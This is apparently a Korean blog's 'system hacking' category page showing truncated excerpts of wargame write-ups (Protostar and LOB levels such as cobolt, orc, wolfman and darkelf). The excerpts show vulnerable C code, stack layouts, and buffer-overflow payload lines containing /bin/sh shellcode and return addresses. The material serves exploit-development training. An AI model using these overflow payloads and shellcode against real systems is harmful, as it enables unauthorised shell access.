목록system hacking (69)
ii4gsp
#include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got ..
#include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } } 이전 문제와 스택의 구성은 같다. if(modified ..
SEH (Structured Exception Handler) 프로그램에서 에러가 발생하면 경고창과 함께 꺼지는 현상이 일어난다. 이러한 것이 바로 예외 처리이다. 컴파일러는 SEH 체인을 만들고 관리하며, 예외가 발생하면 우선적으로 미리 등록된 체인의 핸들러를 실행하고, 해결되지 않으면 다음 단계의 핸들러를 실행한다. SEH 체인은 여러 개의 EXCEPTION_REGISTRATION 구조체를 통해 구성된다. Typedef struct _EXCEPTION_REGISTRATION { EXCEPTION_REGISTRATION *next; EXCP_HANDLER handler; } EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION; *next 멤버는 SEH 체인에 연결된 ..
이전 문제에서 조건이 하나 추가되었다. argv[1]의 48번째 바이트가 \xbf가 아니라면 프로그램이 종료되고 argv[1]이 48이상이라도 프로그램이 종료된다. gdb로 열어서 strcpy() 함수 다음명령인 부분에 break point를 걸어주었다. argv[2]의 주소를 0xbffffc14로 잡아주고 페이로드는 (buffer + sfp + argv[2]) + (nop+ shellcode)가 된다. payload ./darkelf $(python -c 'print "\x90" * 44 + "\x14\xfc\xff\xbf"') $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5..
이전 문제와 크게 달라진건 없다 하지만 맨 밑줄 buffer 40byte를 모두 0으로 초기화 해준다. 문제푸는 방식은 이전 문제와 동일하다. 이전의 스택구조와 동일하다 i _____ buffer ______ SFP ______ RET strcpy()호출 다음인 에 break point를 걸어주고 0xbffffab4를 ret로 잡고 페이로드를 작성해주었다. payload ./wolfman $(python -c 'print "\xbf" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다. argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다. gdb로 분석해보면 스택의 구조는 i _______ buffer ________ SFP ________ RET ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 에 break point를 걸었다. ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다. payload ./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89..
소스코드를 보면 이전 레벨과 달라진 점이라면 strcpy() 함수가 gets() 함수로 바꼇다. gets() 함수는 입력받는 크기를 제한하지 않아 취약점이 발생한다. 파일을 복사하고 gdb로 파일을 열고 분석을해보면 스택구조는 buffer ________ sfp ________ ret 버퍼가 16byte이기 때문에 쉘코드를 환경변수에 등록해주면 된다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘코드의 주소를 출력해줄 소스코드를 작성해주고 쉘코드를 환경변수에 등록해주고 위의 코드를 실행해주면 쉘코드의 주소가 나온다. 쉘코드의 주소를 알았으니 페이로드는 buffer[16byte] + sfp[4byte] + 쉘주소 파이프를 ..
첫 번째 문제와 크게 달라지진 않았다. 하지만 버퍼의 크기가작아 쉘코드를 환경변수에 등록하면 될것 같다. strcpy() 함수에서 취약점이 일어난다. 파일을 복사해주고 gdb로 열어보면 스택의 구조는 buffer - sfp - ret이다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘코드의 주소를 알아내기 위해 소스코드를 작성해주고 25byte 쉘코드를 환경변수에 등록해주고 아까 작성한 코드를 실행하여 쉘코드의 주소를 알아내었다. 페이로드 작성은 buffer[16byte] + sfp[4byte] + ret가 된다. payload ./cobolt $(python -c 'print "\x90" * 20 + "\x61\xff\..